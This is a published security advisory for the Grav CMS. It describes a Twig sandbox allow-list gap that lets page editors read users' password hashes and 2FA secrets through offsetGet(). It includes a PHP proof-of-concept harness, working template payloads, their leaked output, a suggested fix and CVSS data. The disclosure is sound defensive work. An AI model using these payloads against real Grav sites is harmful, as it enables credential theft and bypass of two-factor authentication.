GHSA-3jhr-mxmx-38cx
Suggest an improvement- Source
- https://github.com/advisories/GHSA-3jhr-mxmx-38cx
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3jhr-mxmx-38cx/GHSA-3jhr-mxmx-38cx.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-3jhr-mxmx-38cx
- Aliases
- Published
- 2026-09-17T20:27:30Z
- Modified
- 2026-09-17T20:45:05Z
- Severity
-
- 7.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
- 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
- Summary
- Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
- Details
-
Summary
system/config/security.yaml's Twig sandbox policy allow-listsoffsetgetandoffsetexistsforGrav\Common\User\Interfaces\UserInterface. The concreteGrav\Common\User\DataUser\Userclass does not filter which fieldsoffsetGet()returns, so any sandboxed template with access to aUserobject can readhashed_password,secret(2FA seed), andtwofa_secretdirectly, bypassing the redaction Grav's own code applies everywhere else.The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:/** * {@inheritdoc} * Override to filter out sensitive fields like password hashes */ public function jsonSerialize(): array { $items = parent::jsonSerialize(); // Security: Remove sensitive fields that should never be exposed to frontend unset($items['hashed_password']); unset($items['secret']); // 2FA secret unset($items['twofa_secret']); // Alternative 2FA field name return $items; } public function offsetGet($offset) { $value = parent::offsetGet($offset); // only special-cases 'authorized', nothing else -- no redaction return $value; }system/config/security.yaml:- class: 'Grav\Common\User\Interfaces\UserInterface' methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real
Twig\Environmentwired with the realTwig\Extension\SandboxExtension, policed by Grav's ownGravSecurityPolicyclass, constructed directly from values parsed out of the actualsystem/config/security.yaml(viaSymfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a realUserobject.Environment setup:
git clone https://github.com/getgrav/grav.git cd grav apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interactionlive_sandbox_render_test.php:<?php require 'vendor/autoload.php'; use Symfony\Component\Yaml\Yaml; use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Grav\Common\Twig\Sandbox\GravSecurityPolicy; use Grav\Common\User\DataUser\User; $securityYaml = Yaml::parseFile('system/config/security.yaml'); $sandboxCfg = $securityYaml['twig_sandbox']; function rowsToMap(array $rows): array { $out = []; foreach ($rows as $row) { $out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods']))); } return $out; } $policy = new GravSecurityPolicy( $sandboxCfg['allowed_tags'], $sandboxCfg['allowed_filters'], rowsToMap($sandboxCfg['allowed_methods']), rowsToMap($sandboxCfg['allowed_properties']), $sandboxCfg['allowed_functions'] ); $sandbox = new SandboxExtension($policy, true); $user = new User([ 'username' => 'admin', 'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX', 'secret' => 'JBSWY3DPEHPK3PXP', 'twofa_secret' => 'ALT2FASECRETVALUE9999', ]); function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void { $twig = new Environment(new ArrayLoader(['@Page:test' => $template])); $twig->addExtension($sandbox); try { echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "$label => BLOCKED: " . $e->getMessage() . "\n"; } } tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user); tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user); tryRender('twofa_secret via offsetGet()', "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user); tryRender('twofa_secret via subscript', "{{ user['twofa_secret'] }}", $sandbox, $user); tryRender('control: user.set() (unlisted)', "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);Run:
php live_sandbox_render_test.phpOutput:
hashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX secret via offsetGet() => JBSWY3DPEHPK3PXP twofa_secret via offsetGet() => ALT2FASECRETVALUE9999 twofa_secret via subscript => BLOCKED: Calling "twofa_secret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1. control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.The control payload (a real, non-allow-listed
Usermethod) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.Precise nuance for the fix
Twig routes
user.offsetGet('x')(explicit method call) anduser['x'](subscript sugar on a non-built-inArrayAccessobject) through two different sandbox checks --checkMethodAllowedagainstallowed_methods, versuscheckPropertyAllowedagainstallowed_properties. The subscript form is already correctly blocked, sinceUserInterfacehas noallowed_propertiesentry. Only the explicit.offsetGet()/.offsetExists()method-call form leaks, because those methods are present inallowed_methods.Scope, stated honestly
I could not find where Grav core itself binds a
uservariable into the sandboxed Twig page-content context --Twig::processPage()'s$twig_varshas no'user'key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: thesecurity.yamlsandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.Impact
Any sandboxed Twig context where a
UserInterfaceobject is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.Suggested fix
Trimming the
UserInterfaceentry alone is insufficient:User extends Data, and the separate generic allowlist entry forGrav\Common\Data\Data(get, value, items, offsetget, offsetexists) independently grants the same access viainstanceofmatching, through three methods (get,value,offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leakhashed_passwordandsecret/twofa_secret.The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashed_password/secret/twofa_secret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.
Affected component
system/config/security.yaml,twig_sandbox.allowed_methodsentry forGrav\Common\User\Interfaces\UserInterfacesystem/src/Grav/Common/User/DataUser/User.php,offsetGet()(behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)
**Ecosystem:** `Composer` **Package name:** `getgrav/grav` **Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` — worth checking `git log -p` on that file if you want an exact lower bound before submitting) **Patched versions:** leave blank **Severity / CVSS v3.1 vector string:**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Resolves to **7.7 / High**. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication. **CWE:** `CWE-522` (Insufficiently Protected Credentials), add `CWE-284` (Improper Access Control) - Database specific
{ "cwe_ids": [ "CWE-522" ], "github_reviewed": true, "github_reviewed_at": "2026-09-17T20:27:30Z", "nvd_published_at": null, "severity": "HIGH" }- References
Affected packages
Packagist / getgrav/grav
Package
- Name
- getgrav/grav
- Purl
- pkg:composer/getgrav/grav
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0 Unknown introduced version / All previous versions are affectedFixed2.0.16